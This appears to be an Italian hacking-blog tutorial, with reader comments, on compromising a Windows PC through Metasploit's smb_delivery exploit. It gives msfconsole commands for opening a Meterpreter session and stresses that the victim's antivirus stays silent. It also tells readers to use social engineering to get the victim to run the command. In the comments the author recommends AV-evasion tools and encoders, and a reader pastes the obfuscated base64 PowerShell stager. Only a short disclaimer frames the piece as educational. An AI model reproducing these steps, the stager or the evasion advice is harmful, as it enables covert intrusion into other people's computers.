N.B.: Tutte le informazioni contenute nel seguente articolo sono a scopo esclusivamente didattico, pertanto l'autore non si riterrà responsabile dell'abuso di tali informazioni da parte degli utenti del sito, qualora esse venissero utilizzate per scopi illegali.

Abbiamo già visto come bucare un PC Windows da remoto con Metasploit con un metodo generico che possa adattarsi ad ogni tipo di situazione. Oggi vediamo come sfruttare una falla scoperta relativamente di recente nel protocollo SMB, che permette all’attaccante di iniettare una DLL o del codice PowerShell malevoli all’interno del PC Windows bersaglio, aprendo così una sessione di Meterpreter su di esso.

L’enorme vantaggio che presenta questa tecnica rispetto a quella generica vista in precedenza, è che non essendo il payload incorporato in un eseguibile, non subirà la scansione da parte del software antivirus della vittima, non avvertendola della minaccia da parte di quest’ultimo.

Per chi non lo conoscesse, SMB (acronimo di Server Message Block) è il protocollo utilizzato da Microsoft per la condivisione di file, stampanti e porte seriali. Data l’importanza di SMB, un progetto free denominato Samba, garantisce la compatibilità del protocollo con piattaforme non Microsoft.

Attacco SMB Delivery con Metasploit

Metasploit offre un exploit chiamato appunto SMB Delivery, che garantisce la consegna di payload sotto forma di DLL o di PowerShell alla macchina bersaglio.

Il funzionamento dell’exploit in questione è piuttosto semplice: crea un server SMB sulla macchina attaccante che ospiterà il payload, inoltre fornisce il comando che, una volta eseguito da parte della vittima, permette la sua connessione al server appena creato, favorendo la DLL injection, aprendo così una sessione di Meterpreter su di essa.

Il server SMB tipicamente comunica con gli host connessi attraverso due porte: la 139 e la 445. Il funzionamento del protocollo attraverso queste due è leggermente differente. A noi basta sapere che gli host connessi direttamente con il server dialogheranno con esso attraverso la porta 445.

Informazioni preliminari

In questa guida, ho utilizzato due macchine: una attaccante, con Kali Linux Rolling come sistema operativo con indirizzo IP 192.168.1.5 e una bersaglio, una macchina virtuale VMWare con installato Windows 7 Ultimate SP1 con indirizzo IP 192.168.1.10. Sulla macchina bersaglio è attivo il software antivirus (nello specifico Avast) con motore e definizioni aggiornate.

Configurazione dell’exploit smb_delivery

Avviamo il servizio postgresql e msfconsole

service postgresql start
msfconsole

 

Configuriamo l’exploit, avviando il server SMB

use exploit/windows/smb/smb_delivery
set SRVHOST [ip_attacker]
set SRVPORT 445
set TARGET 1
run

Terminati questi passaggi msfconsole avrà attivato il server SMB in background, restituendoci il comando necessario per la connessione.

Guida Metasploit - smb_delivery exploit

Aggiornamento del 27/01: ho notato ora, che dopo l’update di Metasploit Framework alla versione 4.13.14-dev, omettendo il tipo di injection da effettuare, l’exploit non mostra il comando da eseguire sulla macchina bersaglio. Ho aggiornato la configurazione scritta dell’exploit, ma per quanto riguarda le immagini, perlomeno per ora comunico a malincuore che dovrete accontentarvi di queste!

Connessione della vittima al server SMB

Sarà sufficiente che la vittima lanci il comando restituito da msfconsole, per ottenere una sessione di Meterpreter. Essendo un test, ci preoccupiamo personalmente dell’esecuzione del comando da parte della vittima.

Guida Metasploit - smb_delivery exploit

In uno scenario reale, non sarebbe verosimile l’esecuzione di questo preciso comando da parte della vittima, ragione per cui dovremmo mettere in campo tutte le nostre doti da Social Engineer, affinché l’attacco vada a buon fine.

Sessione di Meterpreter attiva

Appena il comando viene eseguito, msfconsole notifica la creazione di una sessione di Meterpreter in background.

Guida Metasploit - smb_delivery exploit

Richiamiamo la sessione con il comando

sessions -i [id_di_sessione]

Guida Metasploit - smb_delivery exploit

Conclusioni

Come potete constatare voi stessi, l’exploit è di semplicissimo utilizzo ed è nettamente più efficace di quello generico, per il fatto che la vittima non deve effettuare il download di un file sul proprio PC, quindi, anche con l’antivirus attivo, non verrà avvertita della minaccia.

Condividi: Hacking Windows con SMB Delivery

  1. Ciao ho un errore quando avvio msfconsole
    msfconsole
    Rails Error: Unable to access log file. Please ensure that /root/.msf4/logs/production.log exists and is writable (ie, make it writable for user and group: chmod 0664 /root/.msf4/logs/production.log). The log level has been raised to WARN and the output directed to STDERR until the problem is fixed.
    /usr/lib/ruby/2.3.0/fileutils.rb:253:in `mkdir': No space left on device @ dir_s_mkdir - /root/.msf4 (Errno::ENOSPC)
    from /usr/lib/ruby/2.3.0/fileutils.rb:253:in `fu_mkdir'
    from /usr/lib/ruby/2.3.0/fileutils.rb:227:in `block (2 levels) in mkdir_p'
    from /usr/lib/ruby/2.3.0/fileutils.rb:225:in `reverse_each'
    from /usr/lib/ruby/2.3.0/fileutils.rb:225:in `block in mkdir_p'
    from /usr/lib/ruby/2.3.0/fileutils.rb:211:in `each'
    from /usr/lib/ruby/2.3.0/fileutils.rb:211:in `mkdir_p'
    from /usr/share/metasploit-framework/lib/msf/base/config.rb:366:in `init'
    from /usr/share/metasploit-framework/lib/msf/base/config.rb:205:in `init'
    from /usr/share/metasploit-framework/lib/msf/base/simple/framework.rb:110:in `simplify'
    from /usr/share/metasploit-framework/lib/msf/base/simple/framework.rb:73:in `create'
    from /usr/share/metasploit-framework/lib/msf/ui/console/driver.rb:65:in `initialize'
    from /usr/share/metasploit-framework/lib/metasploit/framework/command/console.rb:62:in `new'
    from /usr/share/metasploit-framework/lib/metasploit/framework/command/console.rb:62:in `driver'
    from /usr/share/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in `start'
    from /usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
    from /usr/bin/msfconsole:48:in `'

    1. La causa dell’errore è scritta nella prima riga. Il programma ha dei problemi ad accedere al file al percorso /root/.msf4/logs/production.log
      Se ti sposti al percorso /root/.msf4/logs/ qual’è l’output del comando ls -lh?
      Che utente stai utilizzando per avviare msfconsole?
      La seconda riga dell’errore riporta No space left on device, qual è l’output del comando df -h?

    1. OP di df -h? Io mi impegno, ma anche tu dammi una mano!
      La directory /root/.msf4/ dovrebbe essere creata automaticamente al primo avvio di msfconsole, hai mai avviato msfconsole prima?

  2. Non mi si avvia più kali linux, ti ho mandato per mail lo screensHot di quello che succede. La prima volta che ho avviato msfconsole mi da quell’errore che ti ho postato nel codice sopra.

    1. Sì, ho visto l’email, ma non riesco proprio ad aiutarti. Forse ti conviene reinstallarlo. Se prima funzionava e ora non funziona più, evidentemente hai compiuto qualche azione che ha corrotto l’avvio del SO. Io utilizzo la prima iso della lista nella pagina ufficiale dei download, tu sceglila in base all’architettura del tuo processore e al Desktop Manager che preferisci.

    1. Assolutamente no! Se dovessi chattare con tutti quelli che guardano il blog, mi servirebbe uno staff di segreteria. In ogni caso, tutta la questione ha poco a che fare con l’articolo, quindi per cortesia evitiamo di usare lo spazio dedicato ai commenti al post, per problemi di carattere personale totalmente slegati da esso, grazie. Se vuoi, puoi continuare a scrivermi via email, ti risponderò quando avrò tempo.

    1. era u’altra la guida di youtube, ti ho inviato un messaggio email così puoi cancellare i commenti non pertinenti se vuoi. grazie mille per tutto.

  3. Ok reinstallato tutto. Avviato msfconsole e seguito la tua guida alla lettera. Inviando però il comando che mi restituisce msfconsole nel mio PC target, AVG rileva il comando come Trojan. SaPresti indicarmi qualche alternativa se puoi. Grazie mille per i tuoi tutorial.

    1. Ho creato la guida con Avast attivo e aggiornato, che non ha rilevato il comando come trojan, però può darsi che altri antivirus siano più efficaci. Per l’evasione AV esistono programmi appositi, puoi provare a creare i tuoi payload con uno di questi: Shellter, Veil Evasion, Hercules, ecc… Talvolta anche alcuni encoders come shikata_ga_nai permettono l’elusione. Sono comunque passaggi più avanzati rispetto a questa guida, ti consiglio di provare prima con l’AV disattivato.

  4. Nel dettaglio questa istruzione fa partire l’eccezione :

    IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

    dove $s è valorizzato da una stringa codificata a base64 :

    $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(‘H4sIAKYellkCA71W/2/aOhD/uZP2P0QTUhKNEqB0XStNe
    g7hWwstNCUUGJrcxAkGJ6aO0wJ7+9/fBZK209qnvf3wIlBs3519/tzn7uInkSspj5R1+S76dm1VHeX7+3cHfSxwqGiFpb0uKoV7HEZH+sEBCArhNgiVL4o2R
    auVxUNMo9nZWT0RgkRyPy+1iERxTMI7Rkms6crfymhOBDm8ulsQVyrflcK3UovxO8wytU0du3OiHKLIS2Vd7uLUp5K9YlRq6tevqj49rMxKjfsEs1hT7U0sS
    VjyGFN15YeeHnizWRFN7VFX8Jj7sjSi0VG1NIxi7JNL2O2B9Iiccy9WdbgF/ASRiYiU3X3SDfZiTYVhX3AXeZ4gMWiXOtEDXxKtECWMFZW/tGl2+nUSSRoSk
    Esi+Mom4oG6JC61ceQxck38mXZJHvNL/66R9tIItPpS6EUIxCtu9riXMLK3VPVfHU2Dp8PzFEC4+Y/3796/8/OYL08ayYKt3Jchh9HBdDcm4KLW5zHd6X5Ry
    kWlB4dhycUGpoUbkRB9pkxT6KezmVKIaw+nm9rEK769RyU3AHW3IfgA1qYOp94MbLLIFMLJDaketz+7dip9m2cW8WlErE2EQ+rmVNJeQ534jOyuXMrVLsE3T
    c0ExLMIIwGWKY5FZfqrWSOk8snWTCjziEAuRC4GryCo+s/O7EOjqZ2oR0KAaz9XIRI+EJjk2hlpN/np6RyU1DrDcVxU+glkkFtUbIIZ8YoKimKaiVAi+W6oP
    rvbS5ikLo5lvt1M/xnN7NQ6j2IpEhfiCAjc2CviUsxSQIpKm3rE3Ng0yE9XX4WjjhmjUQA7PUA4YCWFwZYpOwQ4+sQEvWQT2QlXjISgt0vqJsMBpHCWCDtK4
    YB46uu+5nTfczvFJgflhacQcJtxWVQcKiRUiBTnHbn+3JOXBeLZp7ogWZS0PJem5kam7C/EPcRarZSwGVw7cIQEYJqChyaOyaeaLQXApn0wrmgdwTPuRKznm
    ktaQY+00unBf0iPOtw68S7OF21DWOu5jzpxp9fuW4N2u/Zwbjs1aTc68qLfkb3G7WJho/b1cCwnHdS+oeXluLZdndOt3UXeeG182prbx7K53i4Czx9bvh+c+
    PZ15bhJu6P6wCxXcddqJN2R+WiWa3GDPrYHdDhYnjfl3dhheOgbwW3lFNN1VyycCu9tOwi15kfu9tx3WvOetxm3jdNRbYkaCNWjhtM0+cXYFKhvODhw+ONFg
    BbVoI7MpkvJZDBsmoNB00TD1uLeOjUCsL3Fc3PkVOlkdXs9h3kTXLgwyrWOR7Z8PACQWhzh4Bp0gnrVnfugY31E5sdLHlfx0uTIBJ3m5B78Gq+afQbym2GVI
    4dd3mLUnWyahlEZ92uoXaajVoDSLXFgDjCKH6ytZVQcj3uj48uxbzi37MSw6jcr1zcM47FtXbiTyvrz1cnn7og6IUdDw3A+pPwAghSWfLNsf3oZ8reqew+Le
    I4ZUAHKdp6dTS6aWSHuc5paaNpzE14SEREGLQyaXM5rxBh3027wVLehG+17xAzSdAjDo+qrI115UtSfO0W+dHY2AXfTZNlxuNQlUSDnxfL6qFyGol9e18pw5
    9+/ZJ2vNlq2WTFtGzlUz0ew3RF6mkGF1ZXbODl2zP8ByCyB5/DyfgfI57V/kf4WuOXiEwi/SH5e+E9Q/xkMI0wlqNtQixjZt8q30cgY9OIDIw8YMMTPnvQj7
    yqRh5fw7fEPFoWlnVMKAAA=’));

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *

Questo sito usa Akismet per ridurre lo spam. Scopri come i tuoi dati vengono elaborati.